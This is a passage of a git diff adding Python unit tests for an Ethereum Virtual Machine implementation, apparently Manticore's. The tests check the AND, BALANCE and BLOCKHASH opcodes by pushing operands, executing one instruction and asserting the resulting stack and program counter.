+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_AND_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_AND_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_AND_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_AND_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_AND_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMBALANCE.py b/tests/EVM/test_EVMBALANCE.py
new file mode 100644
index 0000000..482f3e0
--- /dev/null
+++ b/tests/EVM/test_EVMBALANCE.py
@@ -0,0 +1,335 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_BALANCE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_BALANCE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0xffffffffffffffffffffffffffffffffffffffff
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x0
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x1
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0xfffffffffffffffffffffffffffffffffffffff0
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0xf
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x10
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x20
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BALANCE_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x111111111111111111111111111111111111100
+            balance = 1048576
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='1'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1048576])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMBLOCKHASH.py b/tests/EVM/test_EVMBLOCKHASH.py
new file mode 100644
index 0000000..a772a71
--- /dev/null
+++ b/tests/EVM/test_EVMBLOCKHASH.py
@@ -0,0 +1,281 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_BLOCKHASH(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_BLOCKHASH_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
